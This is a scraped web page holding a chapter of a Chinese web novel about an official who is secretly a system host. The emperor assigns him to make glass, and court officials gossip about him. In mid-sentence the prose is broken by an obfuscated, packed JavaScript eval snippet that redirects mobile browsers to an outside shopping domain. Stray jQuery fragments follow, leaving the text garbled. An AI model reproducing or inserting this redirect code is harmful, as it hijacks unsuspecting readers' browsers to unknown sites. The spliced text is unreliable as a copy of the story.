文趣网 > 都市小说 > 宿主他每天都想分手[快穿] > 16. 让皇帝分手
    翰林院。

    越冬才在稿纸上落笔写了几行,便有小侍前来,说掌院学士唤他。

    越冬:?

    话音刚落,他便察觉到周围同僚的视线若有若无扫过他这处。

    越冬隐约有些不太妙的预感。

    该不会……

    “林大人?”那小侍见他怔愣,又轻声唤了他一句,语气中带着一丝不甚明显的焦急。

    越冬收敛思绪,正色道:“那便走吧,不好叫张大人久等。”

    那小侍微微松了一口气,转身带路。

    直到他与那小侍离开后,身上那种如芒在刺的感觉才消失不见。

    越冬本就不傻,加上这小侍和同僚的态度,他可以肯定——

    陛下此刻定是在张大人那处。

    为的,正是他昨日交给陛下的那物。

    昨日陛下说将此事交给他便是,没想到这绕了一圈,竟是转过头便将此事又丢给他。

    他暗自咬牙。

    这厮,绝对是故意的。

    到翰林院公署正堂门口时,那小侍便离开了。

    越冬整了整衣摆,这才轻轻扣门,得了应允才低着头入内,再轻轻将门掩上。

    他微微抬头,正要向上官拱手见礼,却在见到上首端坐之人时怔愣好一会儿,才慌忙收回手,一撩袍角便屈膝跪倒,对着那人恭恭敬敬叩首。

    “臣林清宴,拜见陛下,陛下万岁万岁万万岁!”

    “林爱卿平身。”

    “多谢陛下。”

    谢礼起身后,他便安静地垂首不语。

    “今日朕欲寻一名得力可靠之人,张爱卿便向朕举荐了林大人。”

    他微微一顿,状似疑惑道:“朕似乎……在何处见过林爱卿?”

    先前侍读时常被打量,后来还被当面戳穿的越冬:……

    陛下,您继续演……

    虽在心底十分唾弃他踢皮球的行为,他面上却是诚惶诚恐的模样,不像演的。

    “或是微臣月前曾在勤政殿当差,有幸入了陛下的眼?”

    “原来先前是林爱卿为朕分忧。”他轻轻颔首,又道:“却是并非为此。”

    帝王仔细端详“林清宴”片刻,才缓缓将收回目光:“林爱卿倒是与朕新封的丽嫔容貌颇有几分相似,可是同族?”

    !

    听到这话,越冬周身微顿,面上虽无异样,眸中却骤然亮了几分。

    赵乾对上他的目光,微微一怔后,眼底便掠过一丝浅淡笑意。

    越冬心道:这不是巧了吗?

    见那族谱上写着甘姨娘名字的那一刻,他便已打算让这两个马甲接上头。

    陛下今日这神来一笔,倒是正合他心意。

    真不愧是他的好兄弟。

    他眸光微闪,心中已是有了主意。

    因此他面上怔愣片刻后,便垂眸思索。

    随后才用不太确定的语气轻声问道:“敢问陛下,娘娘的生母……可是姓甘?”

    赵乾微微颔首:“正是。”

    “微臣家中曾编修族谱,恰有一位年岁相合的远房姑母,只是微臣从未见过这位长辈,家中先人也未曾多提。”

    “你祖籍何处?”

    “回陛下,微臣祖籍井州荥溪。”

    赵乾微微一笑道:“这便是了。”

    “按理,怡儿便该唤你一声表哥。”

    越冬听到他说的这话,心底十分无语,简直不知该从何处吐槽。

    陛下这是给许怡认了个表哥,结果表哥还就是他自己?

    但陛下都这样说了,他面上只能忐忑不安地颤声道:“这……臣惶恐。”

    “既是怡儿的表兄,张爱卿——”

    “臣在。”

    “此事便交给他来办,朕很是放心。”

    他未理会越冬那番假意推辞,只微微侧首,吩咐一旁始终恭立缄默的张掌院,随后便起身离开。

    越冬随张大人一同恭送陛下后,张大人并未多说什么,只淡淡交代他几句,让他明日直接往工部当值即可。

    越冬行礼谢过,便退出了公署正堂。

    他回值房收拾东西时,系统光球才慢悠悠地在空气中淡淡显出。

    光球本是按惯例来帮越冬处理翰林院编修事务的,今日过来却见他垂眸不语,只一声不吭将桌案上物事一一规整,收进一只木制提篮中。

    更有几名官员频频往这边侧目,周遭气氛明显透着几分异样。

    系统心头一紧。

    该不会……

    天呐!它不过睡了一觉而已吧?!

    【宿主这是被……被朝廷辞退了?!】

    越冬听见它的惊呼声,嘴角微抽却只作未闻。

    系统暗暗着急,悄无声息往几名聚在长案旁的官员那边飘去。

    便听得一人酸溜溜叹道:

    “这林大人可真是好运气啊~”

    一人笔下微顿,淡声道:“想来是上次差事在陛下面前露了脸。”

    又有一人四下张望,见周遭无人,才压低声音道:

    “啧啧,你们也太天真了,我这儿可是有小道消息。”

    “什么消息?”

    一人将笔搁下,抬眸望向他。

    “快说快说!”

    另一人则性子急躁些,一把攥住他袖子。

    那人轻轻抽回袖子,理了理袖口褶皱,才慢悠悠抛来一句:

    “上次御前选人,可是点名要样貌年轻俊秀的,这次又把人调去工部,你们细品~”

    “难道说……”性子急躁那人猜测刚要脱口而出,便被好友打断。

    “楚兄,不可妄言!”

    好友淡淡瞪他一眼,楚姓官员便立马噤声。

    随即又皱眉看向那爆料的官员。

    “我可没胡说,信不信由你们。”

    他轻哼一声,端起桌上杯盏,径自回了自己案前。

    【宿主,原来您是要搬去工部,不是被辞退啊?】

    越冬唇角微勾,在心底淡淡回它:【我几时说过是被辞退了?】

    他只是听了系统无厘头的猜测,故意不吭声罢了。

    系统挠挠头,好像哪里有点不对。

    不过……

    【所以陛下这是将烧制玻璃一事交给您了吗?】

    【对。】

    这样一来,他这两个马甲算是提前接上头了。

    【唔,倒是欠了他一个人情。】

    【走吧,干活去。】

    ————

    半月后,工部新建的窑房。

    春日渐深,暖融的日光倾洒而下,裹挟着窑炉滚滚而出的热浪,让附近地面的青石板都染上灼人的温度。

    一棵枝叶繁密的树下,越冬斜斜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798513|210566||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    躺在木制竹椅上闭目养神,一手轻执蒲扇偶尔扇动两下,一派好不悠闲的模样。

    简直与不远处那几位大人,不是一个画风。

    几位大人围着火热窑炉,那是热得满头满脸都是细密的汗水,连官服都被浸湿不少。

    越冬这角落里的悠闲情景,若是寻常时候见了,这几名官员或是要在心里韵羡并效仿。

    此刻众人面上焦灼,眉头紧锁,哪可能会有这般的闲适心情。

    见两处截然不同的情景,几人面上神色都有些微妙,看向树下躺椅上的人时,眼神中藏着不满与轻视。

    却只敢互相对视几眼,默默低头拿布巾擦汗,不敢多言。

    人群里,一名膀粗腰圆的官员满脸通红,汗水直流,他一双眼直勾勾盯着树下的身影,攥了攥拳,猛地挽起官服袖子,便要迈步上前。

    身旁一名同僚眼疾手快,一把攥住他的手臂,压低声音,语声艰涩道:“吴兄,莫冲动,这位林大人是宫里那位的……”

    “我知晓。”被称作吴兄的粗犷男子沉声打断他的话,声音里带着几分按捺不住的急躁与不耐。

    他将同僚阻拦的手轻轻一拂,随手抓过一旁的布巾,胡乱擦去脸上汗水,大步朝着树下走去。

    他面无表情的模样有些吓人,周遭官员的心都提了起来,目光齐齐落在这处树荫。

    只待两人之间若是起了冲突,几人便立刻冲过去劝解。

    那吴姓官员走到离树下十米远处时,越冬便缓缓睁开眼,慢条斯理地坐起身来,抬眸朝他看来。

    那双眸子漆黑清亮,却莫名带着一股不容小觑的气势。

    吴大人脚步一顿,心头那点因连日不顺攒下的火气顷刻间被浇熄。

    片刻后,他平复下那不知从何处而来的一丝惊悸感后,才继续往前。

    直到走到越冬旁一步开外处,他才停下脚步。

    出乎他那些同僚意料之外的是,他并非是来发难的,而是神色严肃而恭敬地拱手见礼,语气中的歉意亦不似作伪:

    “林大人,先前下官言语无状,对您多有冒犯,还请林大人勿怪。”

    越冬微微挑眉,眼底掠过一丝浅淡的意外,倒没想到这位长相粗豪的吴大人,竟是一众官员里最通透、心思最细致的。

    他心底了然,面上只淡淡点头道:“林某所言之事,诸位大人不信也是寻常。”

    见此人目光清正,他难得多提点了一句:

    “然这世间万物,若一直都只遵循这般寻常,便不会有那种种不寻常之物的出现了。”

    “娘娘此前能得此物,何尝不是上天馈赠的不寻常机缘?”

    才又将话题回转,淡淡提醒道:“只是此事既是陛下吩咐下来的,我等当尽心尽力而为才是,您说对吗?”

    “吴大人?”

    吴姓官员闻言垂眸沉思良久,指节微微攥起又缓缓松开。

    再抬眼看向越冬时,他眼底那点残存的敷衍与勉强尽数不见,取而代之的是不见半分虚假的恭敬。

    “多谢林大人提点。”

    ————

    慈宁宫。

    太后以手支颐,神色闲适地靠在软榻上,听着下方宫侍的汇报。

    片刻后,她蹙了蹙眉,道:“你是说,丽嫔那不知从何处冒出来的表兄,竟得了一盏纯净剔透的琉璃盏,还送往锦澜殿了?”